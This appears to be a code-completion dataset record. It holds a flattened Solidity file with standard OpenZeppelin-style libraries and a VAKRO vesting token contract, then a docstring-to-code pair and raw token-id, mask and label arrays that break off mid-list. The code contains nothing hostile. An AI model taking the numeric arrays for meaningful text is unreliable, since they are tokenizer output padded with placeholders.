* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: IERC20Upgradeable
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: Initializable
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// Part: Roles
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// Part: SafeMathUpgradeable
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: ContextUpgradeable
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// Part: SafeERC20Upgradeable
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: MinterRole
contract MinterRole is Initializable, ContextUpgradeable {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
function initialize(address sender) public virtual initializer {
__Context_init_unchained();
if (!isMinter(sender)) {
_addMinter(sender);
}
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
uint256[50] private ______gap;
}
// Part: OwnableUpgradeable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// Part: VestedAkroSenderRole
contract VestedAkroSenderRole is Initializable, ContextUpgradeable {
using Roles for Roles.Role;
event SenderAdded(address indexed account);
event SenderRemoved(address indexed account);
Roles.Role private _senders;
function initialize(address sender) public virtual initializer {
__Context_init_unchained();
if (!isSender(sender)) {
_addSender(sender);
}
}
modifier onlySender() {
require(isSender(_msgSender()), "SenderRole: caller does not have the Sender role");
_;
}
function isSender(address account) public view returns (bool) {
return _senders.has(account);
}
function addSender(address account) public onlySender {
_addSender(account);
}
function renounceSender() public {
_removeSender(_msgSender());
}
function _addSender(address account) internal {
_senders.add(account);
emit SenderAdded(account);
}
function _removeSender(address account) internal {
_senders.remove(account);
emit SenderRemoved(account);
}
uint256[50] private ______gap;
}
// File: VestedAkro.sol
/**
* @notice VestedAkro token represents AKRO token vested for a vestingPeriod set by owner of this VestedAkro token.
* Generic holders of this token CAN NOT transfer it. They only can redeem AKRO from unlocked vAKRO.
* Minters can mint unlocked vAKRO from AKRO to special VestedAkroSenders.
* VestedAkroSender can send his unlocked vAKRO to generic holders, and this vAKRO will be vested. He can not redeem AKRO himself.
*/
contract VestedAkro is OwnableUpgradeable, IERC20Upgradeable, MinterRole, VestedAkroSenderRole {
using SafeMathUpgradeable for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
event Locked(address indexed holder, uint256 amount);
event Unlocked(address indexed holder, uint256 amount);
event AkroAdded(uint256 amount);
struct VestedBatch {
uint256 amount; // Full amount of vAKRO vested in this batch
uint256 start; // Vesting start time;
uint256 end; // Vesting end time
uint256 claimed; // vAKRO already claimed from this batch to unlocked balance of holder
}
struct Balance {
VestedBatch[] batches; // Array of vesting batches
uint256 locked; // Amount locked in batches
uint256 unlocked; // Amount of unlocked vAKRO (which either was previously claimed, or received from Minter)
uint256 firstUnclaimedBatch; // First batch which is not fully claimed
}
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 public override totalSupply;
IERC20Upgradeable public akro;
uint256 public vestingPeriod; //set by owner of this VestedAkro token
uint256 public vestingStart; //set by owner, default value 01 May 2021, 00:00:00 GMT+0
uint256 public vestingCliff; //set by owner, cliff for akro unlock, 1 month by default
mapping (address => mapping (address => uint256)) private allowances;
mapping (address => Balance) private holders;
function initialize(address _akro, uint256 _vestingPeriod) public initializer {
__Ownable_init();
MinterRole.initialize(_msgSender());
VestedAkroSenderRole.initialize(_msgSender());
_name = "Vested AKRO";
_symbol = "vAKRO";
_decimals = 18;
akro = IERC20Upgradeable(_akro);
require(_vestingPeriod > 0, "VestedAkro: vestingPeriod should be > 0");
vestingPeriod = _vestingPeriod;
vestingStart = 1619827200; //01 May 2021, 00:00:00 GMT+0
vestingCliff = 31 * 24 * 60 * 60; //1 month - 31 day in May
}
// Stub for compiler purposes only
function initialize(address sender) public override(MinterRole, VestedAkroSenderRole) {
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override onlySender returns (bool) {
// We require both sender and _msgSender() to have VestedAkroSender role
// to prevent sender from redeem and prevent unauthorized transfers via transferFrom.
require(isSender(sender), "VestedAkro: sender should have VestedAkroSender role");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), allowances[sender][_msgSender()].sub(amount, "VestedAkro: transfer amount exceeds allowance"));
return true;
}
function transfer(address recipient, uint256 amount) public override onlySender returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function setVestingPeriod(uint256 _vestingPeriod) public onlyOwner {
require(_vestingPeriod > 0, "VestedAkro: vestingPeriod should be > 0");
vestingPeriod = _vestingPeriod;
}
/**
* @notice Sets vesting start date (as unix timestamp). Owner only
* @param _vestingStart Unix timestamp.
*/
function setVestingStart(uint256 _vestingStart) public onlyOwner {
require(_vestingStart > 0, "VestedAkro: vestingStart should be > 0");
vestingStart = _vestingStart;
}
/**
* @notice Sets vesting start date (as unix timestamp). Owner only
* @param _vestingCliff Cliff in seconds (1 month by default)
*/
function setVestingCliff(uint256 _vestingCliff) public onlyOwner {
vestingCliff = _vestingCliff;
}
function mint(address beneficiary, uint256 amount) public onlyMinter {
totalSupply = totalSupply.add(amount);
holders[beneficiary].unlocked = holders[beneficiary].unlocked.add(amount);
emit Transfer(address(0), beneficiary, amount);
}
/**
* @notice Adds AKRO liquidity to the swap contract
* @param _amount Amout of AKRO added to the contract.
*/
function addAkroLiquidity(uint256 _amount) public onlyMinter {
require(_amount > 0, "Incorrect amount");
IERC20Upgradeable(akro).safeTransferFrom(_msgSender(), address(this), _amount);
emit AkroAdded(_amount);
}
/**
* @notice Unlocks all avilable vAKRO for a holder
* @param holder Whose funds to unlock
* @return total unlocked amount awailable for redeem
*/
function unlockAvailable(address holder) public returns(uint256) {
require(holders[holder].batches.length > 0, "VestedAkro: nothing to unlock");
claimAllFromBatches(holder);
return holders[holder].unlocked;
}
/**
* @notice Unlock all available vAKRO and redeem it
* @return Amount redeemed
*/
function unlockAndRedeemAll() public returns(uint256){
address beneficiary = _msgSender();
claimAllFromBatches(beneficiary);
return redeemAllUnlocked();
}
/**
* @notice Redeem all already unlocked vAKRO
* @return Amount redeemed
*/
function redeemAllUnlocked() public returns(uint256){
address beneficiary = _msgSender();
require(!isSender(beneficiary), "VestedAkro: VestedAkroSender is not allowed to redeem");
uint256 amount = holders[beneficiary].unlocked;
if(amount == 0) return 0;
require(akro.balanceOf(address(this)) >= amount, "Not enough AKRO");
holders[beneficiary].unlocked = 0;
totalSupply = totalSupply.sub(amount);
akro.transfer(beneficiary, amount);
emit Transfer(beneficiary, address(0), amount);
return amount;
}
function balanceOf(address account) public override view returns (uint256) {
Balance storage b = holders[account];
return b.locked.add(b.unlocked);
}
function balanceInfoOf(address account) public view returns(uint256 locked, uint256 unlocked, uint256 unlockable) {
Balance storage b = holders[account];
return (b.locked, b.unlocked, calculateClaimableFromBatches(account));
}
function batchesInfoOf(address account) public view returns(uint256 firstUnclaimedBatch, uint256 totalBatches) {
Balance storage b = holders[account];
return (b.firstUnclaimedBatch, b.batches.length);
}
function batchInfo(address account, uint256 batch) public view
returns(uint256 amount, uint256 start, uint256 end, uint256 claimed, uint256 claimable) {
VestedBatch storage vb = holders[account].batches[batch];
(claimable,) = calculateClaimableFromBatch(vb);
return (vb.amount, vb.start, vb.end, vb.claimed, claimable);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "VestedAkro: approve from the zero address");
require(spender != address(0), "VestedAkro: approve to the zero address");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "VestedAkro: transfer from the zero address");
require(recipient != address(0), "VestedAkro: transfer to the zero address");
holders[sender].unlocked = holders[sender].unlocked.sub(amount, "VestedAkro: transfer amount exceeds unlocked balance");
createOrModifyBatch(recipient, amount);
emit Transfer(sender, recipient, amount);
}
function createOrModifyBatch(address holder, uint256 amount) internal {
Balance storage b = holders[holder];
if (b.batches.length == 0 || b.firstUnclaimedBatch == b.batches.length) {
b.batches.push(VestedBatch({
amount: amount,
start: vestingStart,
end: vestingStart.add(vestingPeriod),
claimed: 0
}));
}
else {
uint256 batchAmount = b.batches[b.firstUnclaimedBatch].amount;
b.batches[b.firstUnclaimedBatch].amount = batchAmount.add(amount);
}
b.locked = b.locked.add(amount);
emit Locked(holder, amount);
}
function claimAllFromBatches(address holder) internal {
claimAllFromBatches(holder, holders[holder].batches.length);
}
function claimAllFromBatches(address holder, uint256 tillBatch) internal {
Balance storage b = holders[holder];
bool firstUnclaimedFound;
uint256 claiming;
for(uint256 i = b.firstUnclaimedBatch; i < tillBatch; i++) {
(uint256 claimable, bool fullyClaimable) = calculateClaimableFromBatch(b.batches[i]);
if(claimable > 0) {
b.batches[i].claimed = b.batches[i].claimed.add(claimable);
claiming = claiming.add(claimable);
}
if(!fullyClaimable && !firstUnclaimedFound) {
b.firstUnclaimedBatch = i;
firstUnclaimedFound = true;
}
}
if(!firstUnclaimedFound) {
b.firstUnclaimedBatch = b.batches.length;
}
if(claiming > 0){
b.locked = b.locked.sub(claiming);
b.unlocked = b.unlocked.add(claiming);
emit Unlocked(holder, claiming);
}
}
/**
* @notice Calculates claimable amount from all batches
* @param holder pointer to a batch
* @return claimable amount
*/
function calculateClaimableFromBatches(address holder) internal view returns(uint256) {
Balance storage b = holders[holder];
uint256 claiming;
for(uint256 i = b.firstUnclaimedBatch; i < b.batches.length; i++) {
(uint256 claimable,) = calculateClaimableFromBatch(b.batches[i]);
claiming = claiming.add(claimable);
}
return claiming;
}
/**
* @notice Calculates one batch
* @param vb pointer to a batch
* @return claimable amount and bool which is true if batch is fully claimable
*/
function calculateClaimableFromBatch(VestedBatch storage vb) internal view returns(uint256, bool) {
if (now < vb.start.add(vestingCliff) ) {
return (0, false); // No unlcoks before cliff period is over
}
if(now >= vb.end) {
return (vb.amount.sub(vb.claimed), true);
}
uint256 claimable = (vb.amount.mul(now.sub(vb.start)).div(vb.end.sub(vb.start))).sub(vb.claimed);
return (claimable, false);
}
}
|
Amount of unlocked vAKRO (which either was previously claimed, or received from Minter)
|
uint256 unlocked;
| 1,449,385 |
[
1,
6275,
434,
25966,
331,
14607,
1457,
261,
12784,
3344,
1703,
7243,
7516,
329,
16,
578,
5079,
628,
490,
2761,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
2254,
5034,
25966,
31,
3639,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
